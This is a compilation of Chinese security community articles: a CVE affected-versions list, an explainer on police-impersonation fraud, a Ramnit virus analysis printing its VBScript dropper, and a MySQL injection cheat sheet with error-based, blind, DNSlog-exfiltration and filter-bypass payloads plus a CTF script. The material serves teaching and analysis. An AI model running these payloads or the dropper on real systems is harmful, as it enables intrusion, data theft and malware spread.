Linux kernel 2.6.10
Linux kernel 2.6.9
Linux kernel 2.6.8
Linux kernel 2.6.7
Linux kernel 2.6.6
Linux kernel 2.6.5
Linux kernel 2.6.4
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 4.4.38
Linux kernel 4.4.26
Linux kernel 4.4.14
Linux kernel 4.4.1
Linux kernel 4.4
Linux kernel 4.3.3
Linux kernel 4.2.8
Linux kernel 4.2
Linux kernel 4.11
Linux kernel 4.10.7
Linux kernel 4.10.5
Linux kernel 4.10.2
Linux kernel 4.1.15
Linux kernel 4.1
Linux kernel 4.0.5
Linux kernel 4.0
Linux kernel 3.9.8
Linux kernel 3.9.4
Linux kernel 3.9
Linux kernel 3.8
Linux kernel 3.7.6
Linux kernel 3.7
Linux kernel 3.6
Linux kernel 3.5
Linux kernel 3.4.93
Linux kernel 3.4.81
Linux kernel 3.4.70
Linux kernel 3.4.67
Linux kernel 3.4.29
Linux kernel 3.4
Linux kernel 3.3
Linux kernel 3.2.81
Linux kernel 3.2.78
Linux kernel 3.2.65
Linux kernel 3.2.64
Linux kernel 3.2.63-2
Linux kernel 3.2.63
Linux kernel 3.2.60
Linux kernel 3.2.55
Linux kernel 3.2.54
Linux kernel 3.2.53
Linux kernel 3.2.52
Linux kernel 3.2.50
Linux kernel 3.2.44
Linux kernel 3.2.42
Linux kernel 3.2.38
Linux kernel 3.2.2
Linux kernel 3.2
Linux kernel 3.19
Linux kernel 3.18.9
Linux kernel 3.18
Linux kernel 3.17.6
Linux kernel 3.17
Linux kernel 3.16.6
Linux kernel 3.16.36
Linux kernel 3.16
Linux kernel 3.15
Linux kernel 3.14.79
Linux kernel 3.14.73
Linux kernel 3.14.7
Linux kernel 3.14.5
Linux kernel 3.14-4
Linux kernel 3.14-1
Linux kernel 3.14
Linux kernel 3.13.7
Linux kernel 3.13.6
Linux kernel 3.13.5
Linux kernel 3.13.4
Linux kernel 3.13.0
Linux kernel 3.13-rc1
Linux kernel 3.13
Linux kernel 3.12.22
Linux kernel 3.12.15
Linux kernel 3.12.14
Linux kernel 3.12.12
Linux kernel 3.12.1
Linux kernel 3.12
Linux kernel 3.11.9
Linux kernel 3.11.6
Linux kernel 3.11
Linux kernel 3.10.5
Linux kernel 3.10.43
Linux kernel 3.10.31
Linux kernel 3.10.20
Linux kernel 3.10.17
Linux kernel 3.10
Linux kernel 3.1
Linux kernel 3.0.66
Linux kernel 3.0.62
Linux kernel 3.0.18
Linux kernel 3.0
Linux kernel 2.6.8.1
Linux kernel 2.6.38.6
Linux kernel 2.6.38.4
Linux kernel 2.6.38.3
Linux kernel 2.6.38.2
Linux kernel 2.6.37.2
Linux kernel 2.6.35.5
Linux kernel 2.6.35.4
Linux kernel 2.6.35.13
Linux kernel 2.6.35.1
Linux kernel 2.6.34.3
Linux kernel 2.6.34.2
Linux kernel 2.6.34.14
Linux kernel 2.6.34.13
Linux kernel 2.6.34.1
Linux kernel 2.6.32.8
Linux kernel 2.6.32.7
Linux kernel 2.6.32.62
Linux kernel 2.6.32.61
Linux kernel 2.6.32.60
Linux kernel 2.6.32.6
Linux kernel 2.6.32.5
Linux kernel 2.6.32.4
Linux kernel 2.6.32.3
Linux kernel 2.6.32.28
Linux kernel 2.6.32.22
Linux kernel 2.6.32.2
Linux kernel 2.6.32.18
Linux kernel 2.6.32.17
Linux kernel 2.6.32.16
Linux kernel 2.6.32.15
Linux kernel 2.6.32.14
Linux kernel 2.6.32.13
Linux kernel 2.6.32.12
Linux kernel 2.6.32.11
Linux kernel 2.6.32.10
Linux kernel 2.6.32.1
Linux kernel 2.6.31.6
Linux kernel 2.6.31.4
Linux kernel 2.6.31.1
Linux kernel 2.6.30.5
Linux kernel 2.6.30.4
Linux kernel 2.6.30.3
Linux kernel 2.6.28.4
Linux kernel 2.6.28.10
Linux kernel 2.6.27.54
Linux kernel 2.6.27.51
Linux kernel 2.6.27.49
Linux kernel 2.6.27.26
Linux kernel 2.6.26.1
Linux kernel 2.6.25.4
Linux kernel 2.6.25.3
Linux kernel 2.6.25.2
Linux kernel 2.6.25.1
Linux kernel 2.6.24.6
Linux kernel 2.6.24.4
Linux kernel 2.6.24.3
Linux kernel 2.6.23.14
Linux kernel 2.6.23.10
Linux kernel 2.6.23.1
Linux kernel 2.6.23.09
Linux kernel 2.6.20.3
Linux kernel 2.6.20.2
Linux kernel 2.6.20.13
Linux kernel 2.6.20.11
Linux kernel 2.6.20-2
Linux kernel 2.6.18.1
Linux kernel 2.6.18
Linux kernel 2.6.16.9
Linux kernel 2.6.16.7
Linux kernel 2.6.16.19
Linux kernel 2.6.16.13
Linux kernel 2.6.16.12
Linux kernel 2.6.16.11
Linux kernel 2.6.15.5
Linux kernel 2.6.15.4
Linux kernel 2.6.15.11
Linux kernel 2.6.15-27.48
Linux kernel 2.6.14.3
Linux kernel 2.6.14.2
Linux kernel 2.6.14.1
Linux kernel 2.6.13.4
Linux kernel 2.6.13.3
Linux kernel 2.6.13.2
Linux kernel 2.6.13.1
Linux kernel 2.6.12.6
Linux kernel 2.6.12.5
Linux kernel 2.6.12.4
Linux kernel 2.6.12.3
Linux kernel 2.6.12.2
Linux kernel 2.6.12.1
Linux kernel 2.6.11.8
Linux kernel 2.6.11.7
Linux kernel 2.6.11.6
Linux kernel 2.6.11.5
Linux kernel 2.6.11.4
Linux kernel 2.6.11.12
Linux kernel 2.6.11.11
Linux Kernal 3.4.70
Linux Kernal 3.2.52
Linux Kernal 3.12.1
Linux Kernal 3.11.9
Linux Kernal 3.10.20
Linux kerenl 3.4.33
Google Pixel XL 0
Google Pixel C 0
Google Pixel 0
Google Nexus Player 0
Google Nexus 9
Google Nexus 6P
Google Nexus 6
Google Nexus 5X
Google Android One 0
Google Android 0
**参考：**
****
[1] [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10229](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10229)
[2]
[https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=197c949e7798fbf28cfadc69d9ca0c2abbf93191](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=197c949e7798fbf28cfadc69d9ca0c2abbf93191)
[3]
[http://source.android.com/security/bulletin/2017-04-01.html](http://source.android.com/security/bulletin/2017-04-01.html)
[4]
[http://www.securityfocus.com/bid/97397](http://www.securityfocus.com/bid/97397) | 社区文章 |
# “公检法”的叔叔给你打电话？骗子的演技又提高了！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作为遵纪守法的社会好公民、时代好青年你或许从来没想过，居然有一天会接到“公安局”、“国家安全局”、“互联网举报中心”们打来的电话。不是涉嫌洗钱、非法集资，就是发布违规信息。
一开始大多数人都不相信，但对方却能准确报出自己的姓名、身份证号，甚至还会现场视频连线身着警服的“警察叔叔”，这让很多人信以为真、最终被骗。其实这只是篇冒充“公检法”在你面前上演的一出戏而已！
## 冒充公检法诈骗的“三步套路”
**第一步**
骗子先通过非法渠道获取受害人身份等信息。
**第二步**
冒充“公安局、通信管理局、国家安全局”等企事业单位工作人员给受害人打电话，编造受害人涉嫌洗钱/非法集资/发布传播违法违规信息/非法入境等理由，引起受害人恐慌。
**第三步**
诱导受害人查看伪造的公检法网站、通缉令、财产冻结书等，对受害人进行威逼、恐吓。一旦受害人相信，就会诱导受害人去宾馆等独立空间进行深度“洗脑”，以帮助受害人洗脱罪名为由，要求受害
人将名下账户所有钱款转账至所谓的“安全账户”，或使用钓鱼网址、恶意应用盗刷受害人的银行账户信息。
## 冒充“公检法”诈骗工具的特点和作用
在冒充“公检法”的诈骗过程中，让受害者最终信以为真的往往就是骗子亲自上演的伪“公安”通告环节。随着时间的推移，互联网技术的发展，冒充“公检法”类诈骗涉及的电话、网站、恶意应用等工具纷纷进行了技术手段升级。比如通过钓鱼网站、恶意应用，绐用户展示通缉令及诱导受害人在页面内填写个人银行账户信息。
## 常见的两类冒充”公检法“诈骗网页
**第一种网站标题为“loginweb”**
页面内容要求输入“案件编号”，当填写的编号错误时，提示“编号不存在”，其中页面中的“请输入编号”、“案件标号”为图片超链接。
**第二种网站标题为“安全檢測”**
页面内容要求输入“登录账号”，当输入3次错误时，会增加验证码校验。
当校验成功后，会跳转至下图展示的虚假公检法网站，其主要包含案件管理、网上清查、安全软件、手机安全软件四个用于诈骗的板块。
**案件管理版块**
主要引导受害人使用“专案验证码”（受害人身份证号码），查询自己的通缉令。
**网上清查版块**
主要是引导受害人输入自己的银行账户信息，包含开户银行、银行卡密码、U盾密码。当受害人在页面填写信息后，会将此些信息提交至诈骗团伙服务器。
**安全软件版块**
主要是对受害人的电脑进行监控。当受害人电脑安装并运行该程序后，该程序会释放TeamViewer（远程控制类软件）进程，进而远程控制受害人的电脑。
**手机安全软件版块**
主要诱导受害人安装此安全防护APP，输入特定的验证码、并授予该APP拨打电话、短信、通讯录、通话记录等权限后，安全防护APP会上传手机设备信息，接管并替代手机短信功能，备份并上传手机最近50条短信，配置呼叫转移逻辑完成呼叫转移号码设置，此时受害人手机无法接听外部呼入来电。当受害人在安全防护APP，文号查询板块输入银行账户信息后，信息随即上传至诈骗团伙服务器。检测到受害人收到新的短信时，也立即上传至服务器，此时受害人的手机信息、银行卡账户信息完全掌握在诈骗团伙手中，可随时盗刷受害人银行账户资金。
## 防骗小贴士
杜绝冒充“公检法”诈骗主要可以从两个阶段来实现。
首先是在沟通阶段，及时识别骗子所使用的手机号，例如使用360手机卫士的号码标记功能一眼分辨出骗子的身份，又主动标记诈骗电话，帮助他人远“公检法”诈骗。
其次是在执行阶段，借助手机安全软件，当诈骗软件或违法软件在后台安装时，主动预警和终止违法程序。特别是针对一些对智能手机操作不太熟悉的用户，使用360手机卫士等安全软件，就可以实现对手机24小时的安全防护，守护个人的信息和财产安全。 | 社区文章 |
# Ramnit感染型病毒分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
感染型病毒是通过感染将恶意代码附着于正常程序中，在通过被感染的正常程序进行传播，可见感染型病毒的危害之大。不过只要了解了感染型病毒的原理，其实并没有想象中的那么可怕，今天我将带来的是感染型病毒Ramnit的详细分析。
## 样本信息
样本是我随便找的一个被Ramnit病毒感染的crackme程序
样本名：crack_me(cracked).exe
SHA1:537c992c86674a442eb3c33140feaeec7ae4ab91
## 行为分析
使用火绒剑进行行为分析
被感染的样本执行后，会在当前目录下释放`crack_me(cracked)Srv.exe（.*Srv.exe）`病毒母体文件，病毒母体文件会在`C:Program
Files (x86)Microsoft`目录下释放`DesktopLayer.exe`文件
`DesktopLayer.exe`进程被创建后，注入chrome浏览器，修改Winlogon注册表项达到自启动目的，并开始感染其他文件
感染的文件类型主要有exe、dll、htm、html等文件
## 详细分析
详细分析主要分为三个部分，首先从被感染的程序`crack_me(cracked).exe`入手，然后是在当前目录下释放的病毒母体`crack_me(cracked)Srv.exe（.*Srv.exe）`
### 被感染程序
使用IDA打开被感染的程序`crack_me(cracked).exe`，看入口点开头的pusha和结尾的popa，想都不用想，最后的一句`jmp
eax`就是跳转回程序的真正入口点，大多数感染型病毒差不多都是这种形式，相当于给程序加了一层壳，只不过壳代码是恶意代码。
上面的混淆代码就是计算偏移，找到导入函数LoadLibraryA和GetProcAddress的地址，然后通过字符串所在地址的偏移，进而找到其他函数的地址
获取到函数地址后，首先创建一个名为KyUffThOkYwRRtgPP的互斥体，保证唯一运行
接下来，利用多个异或密钥逐字节循环解密，起始地址为`0x409573`，大小为`0xDC00`
从`0x40934B`开始倒序取字节D4进行异或解密，直到取到`0x409329`中的47后重新从`0x40934B`开始取值，循环直到结束
解密后是个PE文件
解密后继续执行，首先当前完整进程路径名，创建同名加Srv的exe文件，并将解密后的数据写入文件
启动刚创建好的文件，然后跳转到原始程序真正的入口点
### 病毒母体文件
**混淆器部分**
被感染程序解密释放出病毒母体文件`crack_me(cracked)Srv.exe`，查看信息，发现加了UPX壳
PE: packer: UPX(3.03)[NRV,best]
PE: linker: unknown(7.4)[EXE32]
首先脱壳
用IDA打开，上下看一看，不难发现，这还是一个混淆器，期间各种无意义API调用，无用call等混淆
根据尝试，找到入口点第一层关键call
进入sub_40724D函数，发现还是一堆无意义的call和API的调用，jmp才是真正继续执行的关键。查看IDA的`Graph
overview`中间和结尾出有两处看着像循环解密的部分。
将鼠标移到`Graph overview`中部，发现上面又是无意义的API调用，下面的循环看起来也不像是解密用到的
鼠标移到`Graph overview`下部，发现这里调用了VirtualAlloc，下面就很可能是循环解密数据了
使用OD动态跟踪，申请了大小为F000的内存空间
从地址`0x401F43`开始取值，解密后存放到申请的内存空间
解密后执行在地址`0x407468`返回到`AllocMemoryBaseAddr + 0x2CA9`继续执行代码
将申请的内存空间dump下来，跳转到`0x2CA9`查看代码流程，发现还是使用jmp跳转进行混淆
跟随代码流程，到`0x0783`这个地址，利用PEB结构获取ntdll加载基址
函数内还是一堆混淆跳转，经过简化后汇编语句如下
mov edx,dword ptr fs:[0x30]
mov edx,dword ptr ds:[edx+0xC]
mov edx,dword ptr ds:[edx+0xC]
mov edx,dword ptr ds:[edx]
mov eax,dword ptr ds:[edx+0x18]
期间还利用很多次PEB结构获取信息，并再次解密.data数据段数据，最后通过调用ZwFreeVirtualMemory后返回到被解密的.data区段上执行代码
进入.data区段执行代码发现pushad，看汇编的形式，应该又是UPX壳
将此刻状态的样本dump下来，查壳发现这一层使用了3.04版本的UPX壳
脱掉UPX壳，才真正到了病毒母体的入口点
**Injecter**
病毒母体的入口点开始部分并没有什么恶意代码，它的主要目的是hook api函数对浏览器注入恶意dll，所以我将这一部分称为Injecter
病毒母体首先会获取浏览器执行程序的路径，创建互斥体，判断当前执行程序路径，hook api函数对浏览器注入恶意dll
通过注册表获取默认浏览器路径
如果找到默认浏览器执行程序文件，直接返回，没找到，则去找IE浏览器执行程序文件
判断当前运行路径是否为`C:Program Files
(x86)MicrosoftDesktopLayer.exe`，如果不是，将自身拷贝到`C:Program Files
(x86)MicrosoftDesktopLayer.exe`，并执行DesktopLayer.exe，返回后当前程序直接退出
当前运行路径为`C:Program Files (x86)MicrosoftDesktopLayer.exe`时，返回后继续执行代码，hook
api函数对浏览器注入恶意dll
hook ZwWriteVirtualMemory函数
创建浏览器进程
由于CreateProcessA内部会调用ZwWriteVirtualMemory函数，所以会调用到被hook后的地址`0x402A59`执行代码
首先跳回真正的ZwWriteVirtualMemory继续执行
读取浏览器进程内存，获取入口点地址
恶意dll在文件中的开始位置`0x404031`
申请内存并将dll写入浏览器进程内存
将三个函数写入浏览器进程内存中
在浏览器程序入口点写入shellcode
当浏览器进程线程被恢复开始运行时，会先调用写入的shellcode，`call
edi`会调用`shellcode_call_first_func`函数，这个函数负责调用写入的`edi_add_0xc_func`函数初始化导入表，调用写入的`edi_add_0x10_func`函数修改区段属性等一系列初始化过程后会调用写入的dllmain函数
**恶意Dll**
在dll入口点，首先创建互斥体判断当前程序是否唯一运行，并初始化一些数据
解密字符串，获取计算机信息，MD5加密信息，在当前目录下生成dmlconf.dat
dll入口点创建了几个线程，分别是写自启动项线程，判断网络连接线程，写文件线程，向fget-career.com发送用户数据线程和在fget-career.com下载文件并运行线程。
其中写自启动线程通过设置`SoftwareMicrosoftWindows
NTCurrentVersionWinlogon`下的UserInit注册表项达到自启动，并每秒检查确认病毒路径是否在其中。
几个线程创建后，进入感染文件的函数，首先检查注册表中是否存在`Software\WASAntidot`这一项，如果不存在继续感染文件操作
创建两个线程，一个是感染文件，另一个是感染可移动设备
**首先看infect_file_thread线程函数**
关键感染文件函数，判断文件类型
当是exe和dll文件时，打开文件，创建文件映射进行感染，判断是否存在.rmnet 区段
如果不存在.rmnet 区段，添加LoadLibraryA，GetProcAddress这2个字符串和.rmnet区段并修改OEP
当是html和htm文件时，判断文件结尾是否是`</SCRIPT>`
如果不是将在html文件尾部写入数据
创建一个名为svchost.exe的文件，将WriteData中的二进制数据写入文件并执行。
<SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe"
WriteData = "4D5A..."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
**infect_removable线程函数**
循环遍历磁盘，判断是否为可移动设备
当是可移动设备时，打开autorun.inf文件，通过 autorun.inf 的头 3 字节是否为 `RmN`判断是否感染
如果没被感染，在可移动设备目录下创建 RECYCLER 目录，并在RECYCLER 目录下创建随机名病毒exe文件，添加autorun.inf自动运行病毒
样本分析到此结束 | 社区文章 |
[TOC]
## 0x1 Forward
这篇文章的雏形我是发在了t00ls,后来我想了下还有其他挺有意思的内容还没总结进来,于是就有了一篇升级版（ps水货本质还是没变),希望有需要的师傅可以阅读看看。
## 0x2 MySQL 基础知识
#### 1.字符串截取函数
left(str,index) //从左边第index开始截取
right(str,index) //从右边第index开始截取
substring(str,index) //从左边index开始截取
substr(str,index,len) //截取str,index开始,截取len的长度
mid(str,index,ken) //截取str 从index开始,截取len的长度
#### 2.字符串比较
strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) //如果相同则返回1不同则返回0
#### 3.字符串连接函数
concat(str1,str2) //将字符串首尾相连
concat_ws(separator,str1,str2) //将字符串用指定连接符连接
group_concat()//
#### 4.一些绕过注入的罕见函数
instr(str1,substr) //从子字符串中返回子串第一次出现的位置
lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
#### 5.运算符
##### 0x5.1算术运算符:
+ - * /
##### 0x5.2比较运算符:
`= <> != > <`
(1)between `//select database() between 0x61 and 0x7a; //select database()
between 'a' and 'z';`
(2)in //`select '123' in ('12') => 0`
(3)like(模糊匹配) //`select '12345' like '12%' => true`
(4)regexp 或 rlike(正则匹配)//`select '123455' regexp '^12' => true`
##### 0x5.3 逻辑运算符:
not或! 非
AND 逻辑与 == &&
OR 逻辑或 == ||
XOR 逻辑异或 == ^
##### 0x5.4位运算符:
& 按位与
| 按位或
^ 按位异或
! 取反
<< 左移
>>右移
##### 0x5.6.注释符
# //单行注释符,url记得编码为%23
/**/
--+
#### 6.常用函数
##### 0x6.1 延时函数
sleep()
benchmark(1000000,sha(1))
##### 0x6.2 编码函数
hex() ascii()
#### 0x6.3 文件函数
1.load_file //读取文件
2.outfile //写入文件
#### 7.一些构造语句的知识
##### 0x7.1 条件语句
if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3
select case when (条件) then 代码1 else 代码 2 end
##### 0x7.2 information_schema 结构
information_schema.tables:
查询表名:table_name 对应的数据库名: table_schema
information_schema.columns:
查询列名:column_name 对应的表名:table_schemamysql盲注语句一般形式
查询结果 + 比较运算符 + 猜测值
##### 0x7.3mysql 报错注入
`构造报错语句 + 查询结果`
##### 0x7.4 mysql 联合注入
`构造联合语句 + 查询结果`
##### 0x7.5 mysql 盲注
`查询结果 + 比较运算符 + 猜测值`
##### 0x7.6 mysql空白字符
%20 %09 %0a %0b %0c %0d %a0 /**/ tab
%a0 这个不会被php的\s进行匹配
/*!*/ 内敛注释
# 这个也可以用来做分隔 挺有意思
##### 0x7.7 some tips
###### 0x7.6.1函数名和括号直接可以插入特殊字符 ex
`concat/**/()`
`information_schema/**/./**/TABLES`
`information_schema%0a.%0aTABLES`
###### 0x7.6.2 {identifier expr}
`select {x 1} from {x test} limit 1;`
## 0x3 浅谈MYSQL报错注入(略)
**常见payload如下:**
* * *
1.floor()
and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
2.updatexml() //5.1.5
and 1=(updatexml(1,concat(0x3a,(select user())),1))
3.extractvalue() //5.1.5
and extractvalue(1,concat(0x5c,(select user())))
4.exp() //5.5.5版本之后可以使用
select host from user where user = 'root' and Exp(~(select * from (select version())a));
5.name_const //支持老版本
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
6.geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring() 几何函数报错
select multipoint((select * from (select * from (select * from (select version())a)b)c));
## 0x4 浅谈宽字节注入
原理介绍: [【PHP代码审计】入门之路——第二篇-宽字节注入](https://xz.aliyun.com/t/1719)
**(1)MYSQL client链接编码的锅**
查看编码:`show variables like '%character%'`
当客户端连接编码设置为GBK的时候 与php进行交互的时候就会出现字符转换 导致单引号逃逸的问题。
测试payload: `index.php?id=%df%27`
流程: `%df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運'`
**(2)MYSQL iconv函数 mb_convert_encoding函数的锅**
借用先知: `$id =iconv('GBK','UTF-8', $id)`
`%df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27`
其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了转义单引号的反斜杠。
**(3)Big5编码导致的宽字节注入**
> 之前有幸在ddctf 2017被虐过一次,当时就对这个点进行了一些小研究,比如编码的过程 由于当时啥也不懂,搞得有点奇怪,这里就记录一下
猜测代码: `iconv('utf-8','BIG5',$_GET['id'])`
payload构造同上: 功' -> addsalshes -> 功\' -> iconv -> %A5%5C%5C%27->¥\' 逃逸单引号
`%E8%B1%B9'` 参考安全客[DDCTF 2018 writeup(一)
WEB篇](https://www.anquanke.com/post/id/144879)
## 0x5 浅谈DNSlog SQL盲注
在mysql中load_file 会带dns查询请求
具体可以参考 mysql带外攻击 out of band 安全客有这篇文章
首先查看变量确定权限
`show variables like '%secure%'`
1、当`secure_file_priv`为空，就可以读取磁盘的目录。
2、当`secure_file_priv`为G:\，就可以读取G盘的文件。
3、当`secure_file_priv`为`null`，`load_file`就不能加载文件。
在mysql 5.5.34版本默认为空可以加载文件 但是之后版本为NULL会禁用函数但是
可以通过mysql的配置文件`my.ini`添加行进行配置
unc路径 网络共享文件方式 `\\xq17.com\tet`这样的路径
用4个\\\是因为转义 本质是:\
最好进行加密处理 防止特殊字符导致失败 如下
`select
load_file(concat(0x5c5c5c5c,version(),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));`
坑点:之前一直用bugscan的dnslog 用
`select load_file('\\\\',version(),'.dnslog地址')` 发现一直收不到信息
注意一般分配给我们的是二级域名所以我们要有个点 把返回信息放在三级域名那里 后来用16进制加密之后就发现可以了
可能是传输的时候出现了`@`之类什么奇怪的字符 导致了传输失败
总结:
1.对数据能加密尽量加密
2.dns解析 能很好解决盲打盲注的不可知的缺陷
3.缺点是:限制比较多
推荐下我写的一篇dnslog花样秀任意读取文件:
[dnolog基础花样秀之盲注也能读配置文件](https://www.t00ls.net/thread-44273-1-1.html)
## 0x6 浅谈MYSQL的约束攻击
关于约束攻击,网上的文章归根到底其实说来说去就是一篇文章:[基于约束条件的SQL攻击](https://www.anquanke.com/post/id/85230),这里谈谈我的理解。
最近看了下bugku和安恒月赛的题目,约束攻击经常出现的点是在用户登录处。
首先 mysql 5.5版本以上需要设置数据库为宽松模式,避免出现插入错误error
`set @@sql_mode=ANSI;`
漏洞利用演示:
1.通过注册 admin+(n多个空格)+1(这个随意) => `admin /`
2.然后去登陆的时候: 输入 `admin`,password:你在第一步注册的账号密码,达到越权登陆admin账户
漏洞原理分析:
主要就是
1.mysql的select查询进行字符串比较的时候,不同长度的字符串,会用空格填充到相同字符在比较。
2.mysql插入数据的时候,当数据超过定义的长度会出现截断象限
漏洞利用过程分析:
我们目标是越权登陆`xq17`这个用户
(1)注册用户名: xq17 1(空格填充长度需要大于10) ,密码为1234560
对应的sql语句:
这个时候尝试查询:
会发现上面说的第一个特性,用空格来填充比较。
(2)去登陆界面登陆,注意的是,我们传入的不是我们注册用户名,而是'xq17'目标用户名,密码是我们注册密码
对应的SQL语句是:
会发现返回的是我们的注册结果,所以说返回的username是admin+n多个空格
但是代码一般判断是否有返回值,所以这样会导致登陆成功。
防御措施:
1.顾名思义,加个unique约束,就会导致在插入的时候,会做一次相同比较,(回到上面说的比较特性),避免发生这种情况.
2.代码获取用户名写进session的时候用返回结果。
## 0x7 注入场景分析
### (一)同表注入:
获取当前注入点所在表的信息 常见于后台登陆、ctf考点中
我以前写过一篇实战遇到的场景: [bypass select from
另类的sql注入闷骚操作获得管理员密码](https://www.t00ls.net/thread-43466-1-1.html)
**(1)限制: 过滤了information_schema 突破:获取表名**
支持报错注入:
and polygon(id)# id如果是当前表存在的字段就爆出表名
mysql> select * from test where name='1' and polygon(id);
ERROR 1367 (22007): Illegal non geometric '`test`.`test`.`id`' value found during parsing
爆列名 通过using可以爆出所有列名
mysql> select * from (select * from test as a join test as b)as c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from test as a join test as b using(id))as c;
ERROR 1060 (42S21): Duplicate column name 'name'
mysql> select * from (select * from test as a join test as b using(id,name))as c;
ERROR 1060 (42S21): Duplicate column name 'password'
* * *
**(2)限制:过滤了字段名,可union 源码给出字段结构(*次要) 突破:获取指定字段内容**
曾经校赛学长出过一道题
`$filterlist =
"/\(|\)|username|password|id|where|case|=|like|sleep|for|into_outfile|load_file;/“;`
其实思路就是:
mysql> select * from test where name='xq17' union select 1,'x',3 order by name;
+----+------+----------+
| id | name | password |
+----+------+----------+
| 1 | x | 3 |
| 1 | xq17 | 123456 |
mysql> select * from test where name='xq17' union select 1,'w',3 order by name;
+----+------+----------+
| id | name | password |
+----+------+----------+
| 1 | w | 3 |
| 1 | xq17 | 123456 |
+----+------+----------+
2 rows in set (0.00 sec)
通过 order by进行降序排序 就会发现 代码取返回的值会发生不同 就可以根据这个来写布尔盲注
* * *
**(3)限制了union select等关键词 突破:获取内容**
mysql> select * from test where name='xq17' && password<'2';
+----+------+----------+
| id | name | password |
+----+------+----------+
| 1 | xq17 | 123456 |
+----+------+----------+
1 row in set (0.00 sec)
这个很经典的 在巅峰极客好像出过题 当时写了个脚本
url='http://67c10dc4d7c848ceb59b1d3ed32a94667fbd86ee51384f05.game.ichunqiu.com/'
vuln_url =url +'/sql.php'
flag=""
while(True):
for i in range(30,128):
flag+=chr(i)
payload="wuyanzu'/**/&&/**/passwd<'{}'#".format(flag)
data={
'uname':payload,
'passwd':'admin',
'submit':'login'
}
r1=requests.post(vuln_url,data=data)
if('passwd error' in r1.content):
flag=flag[:-1]+chr(i-1)
print flag
break
else:
flag=flag[:-1]
### (二)绕过关键词过滤注入
针对常见的正则过滤,比如/union|select/i (大小写不敏感) 这种直接干掉关键词做法
可以尝试等价替换
(1)过滤= （就是起到比较作用的东西）
1.函数绕过:
strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1), greatest() find_in_set()
2.< > <>
3.like regexp
4. in //select "123" in ("123"); => 1 select "123" in ("12") =>0
(2)过滤ascii()
hex() bin() ord()
(3)过滤substr() mid()等
left() right() mid() substr() substring() lpad() rpad()
(4)过滤字段名(通杀全表)
mysql> select e.3 from (select * from (select 1)b,(select 2)c,(select 3)a union select * from test)e;`
通过构造一个虚拟表
`select * from (select 1)... union select * from test`, 联合进表信息 赋予别名 然后通过列数来调用
(5)过滤,(逗号)
limit 0,1 => limit 1 offset 0;
mid(str,5,1) =>mid('str'from 5 for 1) =>substr('str' from for 1)
union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c;
这个点在实战也有,很有意思
我写过一篇文章:[绕过逗号和空格的mysql小特性](https://www.t00ls.net/thread-44229-1-1.html)
(6)过滤逗号和for
mid('123' from -1); =>3
mid('123' from -2); =>23
(7)硬匹配函数体
version() => `version`()
version() => version/**/()
(8)union开头正则过滤 /^union[^a-zA-Z0-9_]/i
select * from test where name=0.1union select 1,2,3;
select * from test where name=1E1union select 1,2,3;
select * from test where name=\Nunion select 1,2,3; //\N => null
(9)对于传递一些敏感字符或者字段 或者 过滤了单引号传递字符串的时候
考虑将内容进行hex编码
select * from test where name='xq17';
select hex('xq17') => 78713137;
则上面等价
`select * from test where name=0x78713137;`
ssti模版注入利用数据库中介来绕过过滤
特殊字符,详情可以参考:[python继承链和题解综合](https://github.com/mstxq17/ctf_web/blob/master/python%E7%BB%A7%E6%89%BF%E9%93%BE%E5%92%8C%E9%A2%98%E8%A7%A3%E7%BB%BC%E5%90%88.md)
(10) /union select/ 匹配绕过
`union distinct select 1,2,3`
## 0X8 结合上文 分析CTF题目
### 0x8.1 hctf Kzone解题之旅
**(1)常规扫描获取压缩包**
`http://kzone.2018.hctf.io/www.zip`
**(2) 源码审计发现漏洞**
.
├── 2018.php
├── Default\ account&password.txt
├── Tutorial.txt
├── admin
│ ├── delete.php
│ ├── export.php
│ ├── index.php
│ ├── list.php
│ ├── login.php
│ └── pass.php
├── config.php
├── include
│ ├── common.php
│ ├── db.class.php
│ ├── function.php
│ ├── kill.intercept.php
│ ├── member.php
│ ├── os.php
│ └── safe.php
├── index.php
├── install.sql
└── robots.txt
代码写的很简单很容易看出逻辑
全局过滤函数 safe.php waf
注入点: member.php -> cookie 注入 //其他的点用了addalshes做了单引号过滤,这里就没有
这里的`member.php` 文件 明显是个后门文件代码 跟进代码看看
`if (!defined('IN_CRONLITE')) exit();` // login.php 包含common.php 这个可以绕过
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
这个代码把cookie的`login_data`参数进行了json_decode 然后拼接进去了sql语句 所以存在注入,但是需要绕过全局过滤函数 waf
(定义在safe.php)
